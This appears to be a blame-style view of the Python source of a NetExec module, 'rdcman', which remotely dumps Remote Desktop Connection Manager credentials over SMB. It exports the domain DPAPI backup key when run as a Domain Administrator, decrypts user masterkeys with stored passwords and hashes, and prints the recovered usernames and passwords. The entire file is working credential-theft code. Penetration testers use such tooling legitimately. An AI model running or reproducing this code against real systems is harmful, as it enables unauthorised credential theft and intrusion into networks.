2023-02-14 10:12:22 +00:00
|
|
|
#!/usr/bin/env python3
|
|
|
|
# -*- coding: utf-8 -*-
|
|
|
|
|
|
|
|
from dploot.triage.rdg import RDGTriage
|
|
|
|
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
|
|
from dploot.triage.backupkey import BackupkeyTriage
|
|
|
|
from dploot.lib.target import Target
|
|
|
|
from dploot.lib.smb import DPLootSMBConnection
|
|
|
|
|
2023-09-14 21:07:15 +00:00
|
|
|
from nxc.helpers.logger import highlight
|
2023-02-14 10:12:22 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2023-09-17 20:20:40 +00:00
|
|
|
class NXCModule:
|
2023-02-14 10:12:22 +00:00
|
|
|
name = "rdcman"
|
2023-05-08 18:39:36 +00:00
|
|
|
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
|
2023-02-14 10:12:22 +00:00
|
|
|
supported_protocols = ["smb"]
|
2023-05-02 15:17:59 +00:00
|
|
|
opsec_safe = True
|
2023-02-14 10:12:22 +00:00
|
|
|
multiple_hosts = True
|
|
|
|
|
|
|
|
def options(self, context, module_options):
|
|
|
|
"""
|
|
|
|
PVK Domain backup key file
|
|
|
|
MKFILE File with masterkeys in form of {GUID}:SHA1
|
|
|
|
"""
|
|
|
|
self.pvkbytes = None
|
|
|
|
self.masterkeys = None
|
|
|
|
|
|
|
|
if "PVK" in module_options:
|
2023-05-02 15:17:59 +00:00
|
|
|
self.pvkbytes = open(module_options["PVK"], "rb").read()
|
2023-02-14 10:12:22 +00:00
|
|
|
|
|
|
|
if "MKFILE" in module_options:
|
|
|
|
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
|
2023-05-02 15:17:59 +00:00
|
|
|
self.pvkbytes = open(module_options["MKFILE"], "rb").read()
|
2023-02-14 10:12:22 +00:00
|
|
|
|
|
|
|
def on_admin_login(self, context, connection):
|
|
|
|
host = connection.hostname + "." + connection.domain
|
|
|
|
domain = connection.domain
|
|
|
|
username = connection.username
|
|
|
|
kerberos = connection.kerberos
|
|
|
|
aesKey = connection.aesKey
|
|
|
|
use_kcache = getattr(connection, "use_kcache", False)
|
|
|
|
password = getattr(connection, "password", "")
|
|
|
|
lmhash = getattr(connection, "lmhash", "")
|
|
|
|
nthash = getattr(connection, "nthash", "")
|
|
|
|
|
|
|
|
if self.pvkbytes is None:
|
|
|
|
try:
|
|
|
|
dc = Target.create(
|
|
|
|
domain=domain,
|
|
|
|
username=username,
|
|
|
|
password=password,
|
|
|
|
target=domain,
|
|
|
|
lmhash=lmhash,
|
|
|
|
nthash=nthash,
|
|
|
|
do_kerberos=kerberos,
|
|
|
|
aesKey=aesKey,
|
|
|
|
no_pass=True,
|
|
|
|
use_kcache=use_kcache,
|
|
|
|
)
|
|
|
|
|
|
|
|
dc_conn = DPLootSMBConnection(dc)
|
|
|
|
dc_conn.connect()
|
|
|
|
|
|
|
|
if dc_conn.is_admin:
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.success("User is Domain Administrator, exporting domain backupkey...")
|
2023-02-14 10:12:22 +00:00
|
|
|
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
|
|
|
|
backupkey = backupkey_triage.triage_backupkey()
|
|
|
|
self.pvkbytes = backupkey.backupkey_v2
|
|
|
|
except Exception as e:
|
2023-09-24 04:06:51 +00:00
|
|
|
context.log.debug(f"Could not get domain backupkey: {e}")
|
2023-02-14 10:12:22 +00:00
|
|
|
pass
|
|
|
|
|
|
|
|
target = Target.create(
|
|
|
|
domain=domain,
|
|
|
|
username=username,
|
|
|
|
password=password,
|
|
|
|
target=host,
|
|
|
|
lmhash=lmhash,
|
|
|
|
nthash=nthash,
|
|
|
|
do_kerberos=kerberos,
|
|
|
|
aesKey=aesKey,
|
|
|
|
no_pass=True,
|
|
|
|
use_kcache=use_kcache,
|
|
|
|
)
|
|
|
|
|
|
|
|
conn = None
|
|
|
|
|
|
|
|
try:
|
2023-05-02 15:17:59 +00:00
|
|
|
conn = DPLootSMBConnection(target)
|
2023-02-14 10:12:22 +00:00
|
|
|
conn.smb_session = connection.conn
|
|
|
|
except Exception as e:
|
2023-09-24 04:06:51 +00:00
|
|
|
context.log.debug(f"Could not upgrade connection: {e}")
|
2023-02-14 10:12:22 +00:00
|
|
|
return
|
|
|
|
|
2023-05-08 18:39:36 +00:00
|
|
|
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
|
|
|
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
2023-05-02 15:17:59 +00:00
|
|
|
if password != "":
|
2023-02-14 10:12:22 +00:00
|
|
|
plaintexts[username] = password
|
2023-05-02 15:17:59 +00:00
|
|
|
if nthash != "":
|
2023-02-14 10:12:22 +00:00
|
|
|
nthashes[username] = nthash
|
|
|
|
|
|
|
|
if self.masterkeys is None:
|
|
|
|
try:
|
2023-05-02 15:17:59 +00:00
|
|
|
masterkeys_triage = MasterkeysTriage(
|
|
|
|
target=target,
|
|
|
|
conn=conn,
|
|
|
|
pvkbytes=self.pvkbytes,
|
|
|
|
passwords=plaintexts,
|
|
|
|
nthashes=nthashes,
|
|
|
|
)
|
2023-02-14 10:12:22 +00:00
|
|
|
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
|
|
|
except Exception as e:
|
2023-09-24 04:06:51 +00:00
|
|
|
context.log.debug(f"Could not get masterkeys: {e}")
|
2023-02-14 10:12:22 +00:00
|
|
|
|
|
|
|
if len(self.masterkeys) == 0:
|
2023-04-21 10:17:50 +00:00
|
|
|
context.log.fail("No masterkeys looted")
|
2023-02-14 10:12:22 +00:00
|
|
|
return
|
|
|
|
|
2023-09-24 04:06:51 +00:00
|
|
|
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
|
2023-02-14 10:12:22 +00:00
|
|
|
|
|
|
|
try:
|
|
|
|
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
|
|
|
|
rdcman_files, rdgfiles = triage.triage_rdcman()
|
|
|
|
for rdcman_file in rdcman_files:
|
|
|
|
if rdcman_file is None:
|
|
|
|
continue
|
|
|
|
for rdg_cred in rdcman_file.rdg_creds:
|
2023-05-02 15:17:59 +00:00
|
|
|
if rdg_cred.type == "cred":
|
|
|
|
context.log.highlight(
|
|
|
|
"[%s][%s] %s:%s"
|
|
|
|
% (
|
|
|
|
rdcman_file.winuser,
|
|
|
|
rdg_cred.profile_name,
|
|
|
|
rdg_cred.username,
|
|
|
|
rdg_cred.password.decode("latin-1"),
|
|
|
|
)
|
|
|
|
)
|
|
|
|
elif rdg_cred.type == "logon":
|
|
|
|
context.log.highlight(
|
|
|
|
"[%s][%s] %s:%s"
|
|
|
|
% (
|
|
|
|
rdcman_file.winuser,
|
|
|
|
rdg_cred.profile_name,
|
|
|
|
rdg_cred.username,
|
|
|
|
rdg_cred.password.decode("latin-1"),
|
|
|
|
)
|
|
|
|
)
|
|
|
|
elif rdg_cred.type == "server":
|
|
|
|
context.log.highlight(
|
|
|
|
"[%s][%s] %s - %s:%s"
|
|
|
|
% (
|
|
|
|
rdcman_file.winuser,
|
|
|
|
rdg_cred.profile_name,
|
|
|
|
rdg_cred.server_name,
|
|
|
|
rdg_cred.username,
|
|
|
|
rdg_cred.password.decode("latin-1"),
|
|
|
|
)
|
|
|
|
)
|
2023-02-14 10:12:22 +00:00
|
|
|
for rdgfile in rdgfiles:
|
|
|
|
if rdgfile is None:
|
|
|
|
continue
|
|
|
|
for rdg_cred in rdgfile.rdg_creds:
|
2023-05-02 15:17:59 +00:00
|
|
|
if rdg_cred.type == "cred":
|
|
|
|
context.log.highlight(
|
|
|
|
"[%s][%s] %s:%s"
|
|
|
|
% (
|
|
|
|
rdgfile.winuser,
|
|
|
|
rdg_cred.profile_name,
|
|
|
|
rdg_cred.username,
|
|
|
|
rdg_cred.password.decode("latin-1"),
|
|
|
|
)
|
|
|
|
)
|
|
|
|
elif rdg_cred.type == "logon":
|
|
|
|
context.log.highlight(
|
|
|
|
"[%s][%s] %s:%s"
|
|
|
|
% (
|
|
|
|
rdgfile.winuser,
|
|
|
|
rdg_cred.profile_name,
|
|
|
|
rdg_cred.username,
|
|
|
|
rdg_cred.password.decode("latin-1"),
|
|
|
|
)
|
|
|
|
)
|
|
|
|
elif rdg_cred.type == "server":
|
|
|
|
context.log.highlight(
|
|
|
|
"[%s][%s] %s - %s:%s"
|
|
|
|
% (
|
|
|
|
rdgfile.winuser,
|
|
|
|
rdg_cred.profile_name,
|
|
|
|
rdg_cred.server_name,
|
|
|
|
rdg_cred.username,
|
|
|
|
rdg_cred.password.decode("latin-1"),
|
|
|
|
)
|
|
|
|
)
|
2023-02-14 10:12:22 +00:00
|
|
|
except Exception as e:
|
2023-09-24 04:06:51 +00:00
|
|
|
context.log.debug(f"Could not loot RDCMan secrets: {e}")
|